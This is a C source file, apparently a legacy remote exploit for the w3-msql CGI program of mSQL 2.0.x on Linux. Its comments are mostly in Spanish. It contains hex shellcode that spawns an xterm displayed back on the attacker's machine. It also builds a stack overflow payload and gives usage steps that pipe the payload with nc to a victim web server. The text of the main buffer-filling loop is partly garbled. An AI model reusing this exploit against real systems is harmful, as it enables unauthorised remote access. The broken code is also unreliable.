/* * Some notes for international users ;) * * Remote exploit for /cgi-bin/w3-msql - linux/x86 * (Send back to your ip an xterm) * * If this not work for your w3-msql version change this: * * 1) ADDR of checkContentType() => Obtain it with gdb * * > gdb w3-msql * (gdb) disas checkContentType * Dump of assembler code for function checkContentType: * 0x804d310 : pushl %ebp * * 2) Size an offset ./XploitW3msql [size] [off] * => Try sizes of -32 <-> +32 * * 3) LEN_VAR => Change this below */ /* * Xploit para /cgi-bin/w3-msql (msql 2.0.4.1 - 2.0.11) * * Plataforma: Linux * * Por: Fuego Fatuo (t0s) * * Fatuo en #phreak (irc.lleida.net) * #hack * * Uso: 1) gcc -o w3-msql-xploit w3-msql-xploit.c * 2) xhost + * 3) ./w3-msql-xploit [tam] [off] | nc * 4) si no funciona, asi, prueba a sumar o restar a tam y off 1 * * Este Xploit solo ha sido testeado de forma local (127.0.0.1) en una Red Hat 6.0 y * con la version 2.0.11 del w3-msql, las versiones anteriores tmb sufre de este mismo * bug, pero tam, off y ADDR, este ultimo en el codigo, sera diferentes. Investiga. * */ /* Tecnica de xplotacion: El bug fue presentado y xplotado para Solaris por Zhodiac, la dificultades de hacerlo para linux es la no presencia de ciertos caracteres en: 1- Shellcode: Para esto Zhodiac propuso una solucion que describee en hispahack.ccc.de/mi019.htm, usando esa tecnika, he hecho yo este shellcode 2- Salto al shellcode: Al no poder aparecer el caracter 0xff no se podia poner una direccion de pila, y komo no se veia la manera de meter el shellcode en el heap o en el bss o en el segmento de datos se dio por imposible. La solucion a este problema esta en la misma pila, buscando por ella, encontre muchas direcciones de pila. Di con una, ke poniendo un \x00 al final ( lo pone el scanf() ), es una direccion donde yo puedo meter el shellcode. Ahora, como llegar??. La solucion es hacer que el programa vaya saltando de funcion en funcion, como %esp se va incrementando en algun momento llegara a mi direccion. Para ir saltandode funcion en funcion, lo que le metemos en el overflow son direcciones de una funcion sin parametros. etc... */ #include #include #include /******************/ /* Configuralo */ /******************/ //#define LEN_VAR 50 /* mSQL 2.0.4 - 2.0.10.1 */ #define LEN_VAR 128 /* mSQL 2.0.11 */ #define ADDR 0x804d310 // ADDR de checkContentType() en mSQL 2.0.11 //#define ADDR 0x804dc20 // ADDR no valido por contener el caracter 0x20 //#define ADDR 0x804d8f0 // ADDR de sendFooter() en mSQL 2.0.11 char shellcode[300]= "\x8b\x74\x24\xfc\xb8\x2e\x74\x72\x71\x05\x01\x01\x01\x01\x39\x06" "\x74\x03\x46\xeb\xf9" // Encontrar "/usr" por Zhodiac "\x8d\x4e\x34" // leal 0x34(%esi),%ecx "\x31\xc0" // xorl %eax,%eax "\x89\xf3" // movl %esi,%ebx "\x88\x46\x14" // movb %al,0x14(%esi) "\x88\x46\x18" // movb %al,0x18(%esi) "\x88\x46\x21" // movb %al,0x21(%esi) "\x88\x46\x21" // movb %al,0x21(%esi) Aki se encuentra el byte automodificable "\x8d\x56\x08" // leal 0x8(%esi),%edx "\x89\x56\x34" // movl %edx,0x34(%esi) "\x8d\x56\x15" // leal 0x15(%esi),%edx "\x89\x56\x38" // movl %edx,0x38(%esi) "\x8d\x56\x19" // leal 0x19(%esi),%edx "\x89\x56\x3c" // movl %edx,0x3c(%esi) "\x8d\x56\x22" // leal 0x22(%esi),%edx "\x89\x56\x40" // movl %edx,0x40(%esi) "\x8d\x56\x44" // leal 0x44(%esi),%edx "\x89\x46\x44" // movl %eax,0x44(%esi) "\xb0\x05" // movb $0x5,%al "\x04\x06" // addb $0x6,%al "\xcd\x80" // int $0x80 "/usr/X11R6/bin/xterm0-ut0-display0" //"127.000.000.001:0" ; #define ADDR_TIMES 12 #define BUFSIZE LEN_VAR+15*1024+LEN_VAR+ADDR_TIMES*4-16 #define NOP 0x90 int main (int argc, char *argv[]) { char *buf,cad[300],cod[20]; // char *shellcode; long addr=ADDR; int aux,i,off,tonton=-16; if (argc<2) { fprintf(stderr,"Uso: %s [tam] [off] | nc victima 80 \n",argv[0]); exit(-1); } strcpy(cod,argv[1]); // Jeje intenta xplotar esto. if(argc>2) tonton=atoi(argv[2]); // Recomentado -16 if (argc>3) off=atoi(argv[3]); else off=1+(15-(strlen(cod)&0xff)); // Recomendado strcat(cod,":0"); fprintf(stderr,"Byte 37= %u\n",(unsigned char)shellcode[39]); shellcode[39]=(shellcode[39]+(strlen(cod)&0xff)+1); switch((unsigned char)shellcode[39]) { case 0x00: case 0x09: case 0x0A: case 0x0B: case 0x0C: case 0x0D: case 0x20: case 0xFF: case 0x90: fprintf(stderr,"la longitud de su ip no es valida"); exit(-1); break; default: fprintf(stderr,"Byte 37= %u\n",shellcode[39]); } strcat(shellcode,cod); // shellcode=shellcode1; if ((buf=malloc(BUFSIZE+tonton))==NULL) { perror("malloc()"); exit(-1); } sprintf(cad,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"); aux=strlen(cad); fprintf(stderr,"Longitud del shellcode= %d\n",strlen(shellcode)); aux-=(strlen(shellcode)+off); for(i=0;i> 8; buf[aux+2] = (addr & 0x00ff0000) >> 16; buf[aux+3] = (addr & 0xff000000) >> 24; } printf("%s \n\n\n",buf); free(buf); exit(0); }